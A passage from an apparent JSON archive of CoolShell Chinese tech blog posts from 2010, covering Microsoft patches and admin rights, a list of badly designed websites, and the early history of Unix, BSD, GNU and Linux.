class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4605.html\">Amazon的书为什么卖到了$2000万</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2606.html\"><img alt=\"五个方法成为更好的程序员\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2606.html\">五个方法成为更好的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2785.html\"><img alt=\"JS1K 演示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2785.html\">JS1K 演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/290.html\"><img alt=\"雷人的程序注释\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3244.html\"><img alt=\"在线作图编辑服务\" height=\"150\" src=\"../wp-content/uploads/2010/10/Photo-editor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3244.html\">在线作图编辑服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2376.html\">McAfee误杀svchost.exe</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-6 微软的安全补丁分析.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-2308\" height=\"220\" src=\"../wp-content/uploads/2010/04/mshole.jpg\" title=\"微软大量的安全补丁移除管理员权限\" width=\"220\"/>截止至2009年底，大约有90%的微软安全补丁是把管理员权限给disable了。根据 <a href=\"http://www.beyondtrust.com/\">BeyondTrust</a>的报告，到今年3月分，Windows 7 有57%的安全补丁是以移除管理员权限作为解决方法的，相比较而言，Windows 2000 是 53%，Windows XP 是 62%，Windows Server 2003 是 55%，Windows Vista 是 54% 以及 Windows Server 2008 是 53%，而最牛的要算是 —— 100% 的 Microsoft Office 和 94%  Internet Explorer （其中100% 的 IE8 ）的安全补丁是移除管理员权限。</p>\n<p>这对于某些公司的IT部门来说是个好消息，因为这些公司的IT部门通常是不会让公司的员工有本机的管理员权限的，根据微软大量的安全补丁是移除某些管理员权限的这一特性，这意味着对于本机只有一般用户权限IT管理，将会防住很大一部份的恶意攻击。</p>\n<p>Paul Cooke, Windows Client Enterprise Security主管说：“我们相信，如果你只是用一般用户来操作Windows的话，这会是一种很好的方式”。而这一提法，相对于Unix的尽可能的不用root用户操作系统这一观点，整整落后了几十年，Windows的用户很习惯于在Administrator下操作系统，这样，一旦中招，任何程序都以系统管理员的权限运行，所以结果也是毁灭性的。这样操作电脑的方式对于Unix的用户来说简直是不可想像的，因为在Unix下，99%的情况下，操作者都不会使用管理员的账号。</p>\n<p>还记得以前和朋友的一段对话：</p>\n<p><span id=\"more-2305\"></span></p>\n<p style=\"padding-left: 30px;\">朋友：“为什么Windows下很容易中病毒，Unix/Linux下却不常见？杀毒软件在Windows下是必备的，但还是很容易中招，而Unix/Linux却可以祼奔。”</p>\n<p style=\"padding-left: 30px;\">陈皓：“那是因为大家都用Windows的Administrator用户操作电脑，而且文件系统都没有权限设置。不像Unix/Linux，没人总是用root操作电脑，而且，所有的文件和目限都有权限。所以，Windows下，一中病毒，病毒就会以管理员的权限运行，不但破坏你的系统甚至干掉你的杀毒软件。而Unix/Linux下，就算中毒，干掉的也是当前用户下的文件，对于系统文件和系统进程来说，不会有任何问题。”</p>\n<p style=\"padding-left: 30px;\">朋友：“那么在Windows下，如何和Unix/Liunx一样使用？”</p>\n<p style=\"padding-left: 30px;\">陈皓：“首先，尽量不要使用Adminstrator用户，使用User用户操作电脑。并且把文件系统格式化成NTFS，这样才能设置上权限。把C盘的根目录，%Windows%以及%System%目录，注册表的关键位置（服务、启动等），都设置上只有Administrator可写，User只读。这样一来，就算是中毒，病毒最多改写当关用户文件，其根本无法操作C盘根目录和Windows%以及%System%目录以及注册表的关键位置，还有IE的插件等（这些地方都是病毒最爱去的地方），中毒后不会对系统造成伤害。在这种情况下，你就算没有杀毒软件祼奔也没有问题”</p>\n<p style=\"padding-left: 30px;\">朋友：“嗯，听起来不错。不过这样整是不是太麻烦了，特别是要装一些软件什么的。”</p>\n<p style=\"padding-left: 30px;\">陈皓：“是的，没错。按道理来说，各个用户的软件应该是装在其用户的目录和环境下，而不应该装在系统的目录下，Unix/Liunx就是这么做的，但是Windows并没有提供这样的方式，很多软件都要去Adminstrator下安装，所以，在系统上装上一些恶意插件，流氓软件也就很正常了。没办法，这就是Windows和Unix/Liunx的差别了，Windows出生的时候就是单用户的，Unix/Liunx则是多用户的，这是Windows先天设计的缺陷，所以，今天这样的局面也是理所当然的。”</p>\n<p>上面的这段对话，也许有助于你了解Windows，安全等方面的东西。下面，让我们再来用一组数据结束本文。</p>\n<p>总体来说，去年一年中64%的所有的微软安全补丁把管理员权限给移除了。如果你只考虑Critical级别的安全补丁，那么有点到80%补丁是移除管理员权限，如果只考虑远程攻击方面的，那么这个比率是84% 。相关的报道请查看如下文章：</p>\n<li><a href=\"http://www.beyondtrust.com/downloads/whitepapers/documents/wp039_BeyondTrust_2009_Microsoft_Vulnerability_Analysis.pdf\">90% of Critical Microsoft Windows 7 Vulnerabilities are Mitigated by Eliminating Admin Rights</a> (beyondtrust.com)</li>\n<li><a href=\"http://news.cnet.com/8301-27080_3-20001359-245.html\">Report: Windows 7 holes eased by axing admin rights</a> (news.cnet.com)</li>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2305.html\">微软的安全补丁分析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-7 史上最糟糕的网站.html",
    "content": "<html><body><p>下面罗列了一些可能是史上最糟糕的网站，当你打开这些网站的时候，请不要太过惊讶，你可以尝试着欣赏一下，不可否认，如果你使劲全力去欣赏，你还是可以找到一些亮点的。呵呵。</p>\n<ol>\n<li><a href=\"http://www.shufsd.org/\" target=\"_blank\">http://www.shufsd.org/</a>，这个网站让我想到了我97年在大学里开始学习HTML的时光，该网页的风格可能比当时我做的还要好一些，不过基本上是很类似的。</li>\n<li><a href=\"http://www.havenworks.com/\" target=\"_blank\">http://www.havenworks.com/</a>，这个网站呢？先介绍这个网站主要是让你对后面的网站有个过渡，老实说，这个网站比起后面的来说，还算可以了。这个网站教会我们如何分类网页上的信息</li>\n<li><a href=\"http://www.arngren.net/\" target=\"_blank\">http://www.arngren.net/</a>，这个网站教你如何在固定空间的网页上放置更多的信息。这好像是我们日常生活当中经常出现的问题，如何把更多的东西放进一个固定的箱子里，我们不停地调整着物品摆放的位置和顺序……</li>\n<li><a href=\"http://www.team2stool.com/\" target=\"_blank\">http://www.team2stool.com/</a>，开始了，这个网站教会我们如何把图片无序地组织起来。</li>\n<li><a href=\"http://yvettesbridalformal.com/index.htm\" target=\"_blank\">http://yvettesbridalformal.com/index.htm</a>，嗯，初看起来吓一大跳，这个网页教你如何制作一个惊悚的网页，不过往细里看，看久一会，你会发现，这个网页设计得很的印象派的风格，也许是一种艺术。</li>\n<li><a href=\"http://www.dokimos.org/ajff/\" target=\"_blank\">http://www.dokimos.org/ajff/</a>，什么叫炫，这就叫炫，太炫了，眼睛就炫花了。打开这个网页的时候，要注意浏览器上边的提示条，耶稣真的很强大啊。</li>\n<li><a href=\"http://www.belladesoto.us/\" target=\"_blank\">http://www.belladesoto.us/</a>，打开这个网页要小心啊，因为这个网页可能比BT下载还猛，据说可能会占用你半GB的带宽。小心啊。</li>\n<li><a href=\"http://www.superbad.com/\" target=\"_blank\">http://www.superbad.com/</a>，这可能是史上最无厘头的网页了，不知道这个网站要干什么，找到可以点的地方点吧，打开一个网页，再点击其中的链接，又打开一个网页，不一会儿你就会在一层又一层的网页中迷路了，好在每次打开的网页都风格迥然，倒也不会觉得单一。</li>\n</ol>\n<p>你还知道一些BT的网站吗？欢迎和我们一样分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3207.html\"><img alt=\"30+ Web下拉菜单\" height=\"150\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3142.html\"><img alt=\"用户界面和用户体验的差别\" height=\"150\" src=\"../wp-content/uploads/2010/10/UI-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2313.html\">史上最糟糕的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-9 Unix传奇(上篇).html",
    "content": "<html><body><p><span style=\"color: #808080;\">【本文曾于2007年3月于</span><a href=\"http://blog.csdn.net/haoel\" target=\"_blank\"><span style=\"color: #0000ff;\">我在CSDN上的BLOG</span></a><span style=\"color: #808080;\">发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】</span></p>\n<hr/>\n<p>了解过去，我们才能知其然，更知所以然。总结过去，我们才会知道我们明天该如何去规划，该如何去走。在时间的滚轮中，许许多的东西就像流星一样一闪而逝，而有些东西却能经受着时间的考验散发着经久的魅力，让人津津乐道，流传至今。要知道明天怎么去选择，怎么去做，不是盲目地跟从今天各种各样琳琅满目前沿技术，而应该是去 —— 认认真真地了解和回顾历史。 </p>\n<p>Unix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《<a href=\"https://coolshell.cn/articles/1032.html\" rel=\"bookmark\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a href=\"https://coolshell.cn/articles/1023.html\" rel=\"bookmark\">Unix 40年：昨天，今天和明天</a>》）。在技术更新如此迅速的计算机世界的今天，Unix始终保持它那神圣的光环，它那曲折和令人叹息的历史，以及由它引发的思想变革，对当今计算机文化造成的深远影响，这40年所产生的人和事，让它成为了一个传奇，不能不让人为之惊叹。</p>\n<p>这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。</p>\n<p>了解这段的历史的人，才能体会计算机世界变迁过程中的是是非非，才能了解计算机世界中的文化，从而才能参与到整个计算机革命的大潮中。希望这段历史，这篇文章能让你感受到计算机世界那强力的脉搏，从而让你踏上这条令人充满激情的道路。</p>\n<p><strong><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a></strong></p>\n<ul>\n<li>Unix起源</li>\n<li>Unix分裂</li>\n<li>Unix的法律纠纷</li>\n<li>GNU开源组织</li>\n<li>Linux横空出世</li>\n<li>Linux今天的领袖</li>\n</ul>\n<p><span id=\"more-2322\"></span></p>\n<p><strong><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a></strong></p>\n<ul>\n<li>Unix与黑客文化</li>\n<li>Unix的历史教训</li>\n<li>Unix 家族谱</li>\n<li>Unix的特点</li>\n<li>Unix的影响和哲学</li>\n<li>Unix痛恨者手册</li>\n</ul>\n<p> </p>\n<h3>Unix 起源</h3>\n<p> 回顾Unix历史，我们就要说一下一个叫MULTICS（Multiplexed Information and Computing Service）的项目。上世纪六十年代时，大部份计算机都是采用批处理（Batch Processing）的方式（也就是说，当作业积累一定数量的时候，计算机才会进行处理）。那时，我们熟知的美国电话及电报公司（American Telephone and Telegraph Inc.；AT&amp;T）、通用电器公司（General Electrics；G.E.）及麻省理工学院（Massachusetts Institute of Technology；MIT）计划合作开发一个多用途（General-Purpose）、分时（Time-Sharing）及多用户（Multi-User）的操作系统，也就是这个MULTICS，其被设计运行在GE-645大型主机上。不过，这个项目由于太过复杂，整个目标过于庞大，糅合了太多的特性，进展太慢，几年下来都没有任何成果，而且性能都很低。于是到了1969年2月，贝尔实验室（Bell Labs）决定退出这个项目。</p>\n<p> 熟悉这段历史的人都知道，贝尔实验室中的有个叫Ken Thompson的人，他为MULTICS这个操作系统写游戏了个叫“Space Travel”的游戏，在MULTICS上经过实际运行后，他发现游戏速度很慢而且耗费昂贵 —— 每次运行会花费75美元。退出这个项目以后。他为了让这个游戏能玩，所以他找来Dennis Ritchie为这个游戏开发一个极其简单的操作系统。这就是后来的Unix。（值得一提的是，当时他们本想在DEC-10上写，后来没有申请到，只好在实验室的墙角边找了一台被人遗弃的Digital PDP-7的迷你计算机进行他们的计划，这台计算机上连个操作系统都没有，于是他们用汇编语言仅一个月的时间就开发了一个操作系统的原型）他们的同事Brian Kernighan非常不喜欢这个系统，嘲笑Ken Thompson说：“你写的系统好真差劲，干脆叫Unics算了。”Unics的名字就是相对于MULTICS的一种戏称，后业改成了Unix。于是，Unix就在这样被游戏和玩笑创造了，当时是1969年8月。也就是这一年，Linux之父Linus Torvalds在芬兰出生了。</p>\n<p>1971年，Ken Thompson写了充分长篇的申请报告，申请到了一台PDP-11/24的机器。于是Unix第一版出来了。在一台PDP-11/24的机器上完成。这台电脑只有24KB的物理内存和500K磁盘空间。Unix占用了12KB的内存，剩下的一半内存可以支持两用户进行Space Travel的游戏。而著名的fork()系统调用也就是在这时出现的。</p>\n<p>到了1973年的时候，Ken Thompson 与Dennis Ritchie感到用汇编语言做移植太过于头痛，他们想用高级语言来完成第三版，对于当时完全以汇编语言来开发程序的年代，他们的想法算是相当的疯狂。一开始他们想尝试用Fortran，可是失败了。后来他们用一个叫BCPL（Basic Combined Programming Language）的语言开发，他们整合了BCPL形成B语言，后来Dennis Ritchie觉得B语言还是不能满足要求，就是就改良了B语言，这就是今天的大名鼎鼎的C语言。于是，Ken Thompson 与Dennis Ritchie成功地用C语言重写了Unix的第三版内核。至此，Unix这个操作系统修改、移植相当便利，为Unix日后的普及打下了坚实的基础。而Unix和C完美地结合成为一个统一体，C与Unix很快成为世界的主导。</p>\n<p>Unix的第一篇文章 “The UNIX Time Sharing System”由Ken Thompson和Dennis</p>\n<p>Ritchie于1974年7月的 the Communications of the ACM发表。这是UNIX与外界的首次接触。结果引起了学术界的广泛兴趣并对其源码索取，所以，Unix第五版就以“仅用于教育目的”的协议，提供给各大学作为教学之用，成为当时操作系统课程中的范例教材。各大学公司开始通过Unix源码对Unix进行了各种各样的改进和扩展。于是，Unix开始广泛流行。</p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_unixrichiethompson.jpg\"/><br/>\nKen Thompson &amp; Dennis Ritchie</p>\n<p> </p>\n<h3>Unix分裂</h3>\n<p>1978年，对 Unix而言是革命性的一年；因为学术界的老大柏克利大学 （UC Berkeley），推出了一份以第六版为基础，加上一些改进和新功能而成的 Unix。这就是著名的“1 BSD（1st Berkeley Software Distribution）”，开创了Unix的另一个分支：BSD 系列。 同时期，AT&amp;T成立USG（Unix Support Group），将 Unix变成商业化的产品。从此，BSD的 Unix 便和AT&amp;T 的Unix 分庭抗礼，Unix就分为System IV和4.x BSD这两大主流，各自蓬勃发展。</p>\n<p>1979年发布的Unix 第七版被称为是“最后一个真正的Unix”，这个版本的Unix内核只有40K bytes。后来这个版本被移植到VAX机上（我在大学时学习C语言时用过这个VAX机，我还记得那时上VAX机最大的爱好就是使用talk命令和别人聊天，呵呵）。20世纪80年代相继发布的8、9、10版本只授权给了少数大学。</p>\n<p>1982年，AT&amp;T基于版本7开发了UNIX System Ⅲ的第一个版本，这是一个商业版本仅供出售。为了解决混乱的UNIX版本情况，AT&amp;T综合了其他大学和公司开发的各种UNIX，开发了UNIX System V Release 1。这个新的UNIX商业发布版本不再包含源代码，所以加州大学Berkeley分校继续开发BSD UNIX，作为UNIX System III和V的替代选择。BSD对UNIX最重要的贡献之一是TCP/IP。BSD 有8个主要的发行版中包含了TCP/IP：4.1c、4.2、4.3、4.3-Tahoe、4.3-Reno、Net2、4.4以及 4.4-lite。这些发布版中的TCP/IP代码几乎是现在所有系统中TCP/IP实现的前辈，包括AT&amp;T System V UNIX 和Microsoft Windows中的TCP/IP都参照了BSD的源码。</p>\n<p>同时，其他一些公司也开始为其自己的小型机或工作站提供商业版本的UNIX系统，有些选择System V作为基础版本，有些则选择了BSD。BSD的一名主要开发者，Bill Joy，在BSD基础上开发了SunOS，并最终创办了Sun Microsystems。</p>\n<p style=\"text-align: center;\"> <img alt=\"\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_bill_joy.gif\"/><br/>\nBill Joy</p>\n<p> 1991年，一群BSD开发者（Donn Seeley、Mike Karels、Bill Jolitz 和 Trent Hein）离开了加州大学，创办了Berkeley Software Design, Inc (BSDI)。BSDI是第一家在便宜常见的Intel平台上提供全功能商业BSD UNIX的厂商。后来Bill Jolitz 离开了BSDI，开始了386BSD的工作。386BSD被认为是FreeBSD、OpenBSD 和 NetBSD、DragonFlyBSD的先辈。</p>\n<p>这是一个AT&amp;T妄图私有化的Unix的时代。为了私有化Unix，1986年IEEE指定了一个委员会制定了一个一个开放作业系统的标准,称为 POSIX (Portable Operating Systems Interface)。最后加上个X，不知道是为了好听，还是因为这本质上是UNIX的标准。当然，AT&amp;T的Unix取得了这个标准制订战争的胜利，还取得了Unix这个注册商标。此时BSD的拥护者自喻为冷酷无情的公司帝国的反抗军。就销售量来说，AT&amp;T UNIX始终赶不上BSD/Sun。到1990年，AT&amp;T与BSD版本已难明显区分，因为彼此都有采用对方的新发明。</p>\n<p> 这段时期，从实验室出来的被全世界所分享的Unix，正处于被私有化的关键时期。（这里有一个笑话——《<a href=\"https://coolshell.cn/articles/1439.html\" rel=\"bookmark\" target=\"_blank\">Alice梦游UNIX仙境</a>》）</p>\n<h3>Unix的法律纠纷</h3>\n<p> Berkeley Software Design, Inc（BSDI）很快就与AT&amp;T的UNIX Systems Laboratories（USL）附属公司产生了法律纠纷，USL是AT&amp;T注册的公司。AT&amp;T为了拥有System V版权，以及Unix商标，为了垄断Unix，1992年，USL正式对BSDI提起诉讼，说BSD剽窃他的源码。而最终了结了好评如潮的BSD系统。</p>\n<p>由于最后判决悬而未决，这桩法律诉讼将BSD后裔的开发，特别是自由软件，延迟了两年，这导致没有法律问题的Linux内核获得了极大的支持。Linux跟386BSD的开发几乎同时起步，Linus说，当时如果有自由的基于386的Unix-like操作系统，他就可能不会创造Linux。尽管无法预料这给以后的软件业究竟造成了什么样的影响（如果没有这个法律纠纷，很有可能没有今天的革命性的Linux），但有一点可以肯定，Linux更加丰富了这块土壤。</p>\n<p>这场官司一直打到 AT&amp;T将自己的Unix系统实验室卖掉，新接手的Novell公司采取了一种比较开明的做法，允许BSDI自由发布自己的BSD，但是前提是必须将来自于AT&amp;T的代码完全删除，于是诞生了4.4 BSD Lite版，由于这个版本不存在法律问题，4.4BSD Lite成为了现代BSD系统的基础版本。</p>\n<p>这桩诉讼最终在1994年1月了结，更多地满足了BSDI的利益。伯克利套件的18,000个文件中，只有3个文件要求删除，另有70个文件要求修改，并显示USL的版权说明。这项调解另外要求，USL不得对4.4BSD提起诉讼，不管是用户还是BSDI代码的分发者。于是，BSD Unix走上了复兴的道路。BSD的开发也走向了几个不同的方向，并最终导致了FreeBSD、OpenBSD和NetBSD的出现。</p>\n<p>从AT&amp;T意识到了Unix的商业价值，不再将Unix源码授权给学术机构以来，到以后的几十年，Unix仍在不断变化，其版权所有者不断变更，授权者的数量也在增加。Unix的版权曾经为AT&amp;T所有，之后Novell拥有了Unix，再之后Novell又将版权出售给了SCO（这一事实双方尚存在争议）。有很多大公司在取得了Unix的授权之后，开发了自己的Unix产品。（几年前，据传闻微软为了限制Linux，微软让SCO到法院告Linux剽窃其源码）</p>\n<p>由于Unix是由C语言写的，所以修改和移植都很容易，因此，很多商业公司及学术机构均加入这个操作系统的研发，各个不同版本的Unix也开始蓬勃发展。这才产生了今天这么多的各式各样的Unix衍生产品。如AIX、Solaris、HP-UX、IRIX、OSF、Ultrix等等。（这些商业化的Unix基本上都是源于AT&amp;T授权的Unix System V）</p>\n<h3>Unix开源组织</h3>\n<p>AT&amp;T的这种商业态度，让当时许许多的Unix的爱好者和软件开发者们感到相当的痛心和忧虑，他们认为商业化的种种限制并不利于产生的发展，相反还能导制产品出现诸多的问题。随着商业化Unix的版本的种种限制和诸多问题，引起了大众的不满和反对。于是，大家开始有组织地结成“反叛联盟”以此对抗欺行罢市的AT&amp;T等商业化行为。</p>\n<p>另一方面，关于“大教堂”（集权、封闭、受控、保密）和“集市”（分权、公开、精细的同僚复审）两种开发模式的对比成为了新思潮的中心思想。这个新思潮对IT业产生了非常深远影响。为整个计算机世界带来了革命性的价值观。</p>\n<p><img align=\"right\" alt=\"\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_richard_stallman.jpg\"/>此时，一个名叫Richard Stallman的领袖出现了，他认为Unix是一个相当好的操作系统，如果大家都能够将自己所学贡献出来，那么这个系统将会更加的优异！他倡导的Open Source的概念，就是针对Unix这一事实反对实验室里的产品商业化私有化。尽管Stallman既不是、也从来没有成为一个Unix程序员，但在后1980的大环境下，实现一个仿Unix操作系统成了他追求的明确战略目标。Richard Stallman早期的捐助者大都是新踏入Unix土地的老牌ARPANET黑客，他们对代码共享的使命感甚至比那些有更多Unix背景的人强烈。</p>\n<p>为了这个理想，Richard Stallman于1984年创业了GNU，计划开发一套与Unix相互兼容的的软件。1985 年 Richard Stallman 又创立了自由软件基金会（Free Software Foundation）来为 GNU 计划提供技术、法律以及财政支持。尽管 GNU 计划大部分时候是由个人自愿无偿贡献，但 FSF 有时还是会聘请程序员帮助编写。当 GNU 计划开始逐渐获得成功时，一些商业公司开始介入开发和技术支持。当中最著名的就是之后被 Red Hat 兼并的 Cygnus Solutions。</p>\n<p>GNU组织的建立，延续了当年Unix刚出现时的情形，并为这种情形建立了可靠的法律和财务保障。GNU 工程十几年以来, 已经成为一个对软件开发主要的影响力量， 创造了无数的重要的工具。例如：强健的编译器，有力的文本编辑器，甚至一个全功能的操作系统。从那时开始，许多程序员聚集起来开始开发一个自由的、高质量、易理解的软件，让这使得Unix社区生机勃勃，一派繁荣景象。</p>\n<p> 自90年代发起这个计划以来，GNU 开始大量的产生或收集各种系统所必备的组件，像是——函数库（libraries）、编译器（compilers）、调式工具（debugs）、文本编辑器（text editors）、网站服务器（web server），以及一个Unix的使用者接口（Unix shell）等等，等等。但由于种种原因，GNU一直没有开发操作系统的kernel。正当Richard Stallman在为操作系统内核伤脑筋的时候，Linux出现了。</p>\n<h3>Linux横空出世</h3>\n<p><img align=\"left\" alt=\"\" height=\"186\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_linus.gif\" width=\"230\"/>1990年，Linus Torvalds还是芬兰赫尔辛基大学的一名学生，最初是用汇编语言写了一个在80386保护模式下处理多任务切换的程序，后来从Minix（Andy Tanenbaum教授所写的很小 的Unix操作系统,主要用于操作系统教学）得到灵感，进一步产生了自认为狂妄的想法——写一个比Minix更好的Minix，于是开始写了一些硬件的设备驱动程序，一个小的文件系统。这样0.0.1版本的Linux就出来了，但是它只具有操作系统内核的勉强的雏形，甚至不能运行，你必须在有Minix的机器上编译以后才能玩。这时候Linus已经完全着迷而不想停止，决定踢开Minix，于是在1991年10 月5号发布Linux 0.0.2版本,在这个版本中已经可以运行bash 和gcc。</p>\n<p>从一开始，Linus就决定自由扩散Linux，包括原代码，随即Linux引起黑客们（hacker）的注意，通过计算机网络加入了Linux的内核开发。Linux倾向于成为一个黑客的系统——直到今天，在Linux社区里内核的开发被认为是真正的编程。由于一批高水平黑客的加入，使Linux 发展迅猛，几乎一两个礼拜就有新版或修正版的出现，到1993年底94年初，Linux 1.0终于诞生了！Linux 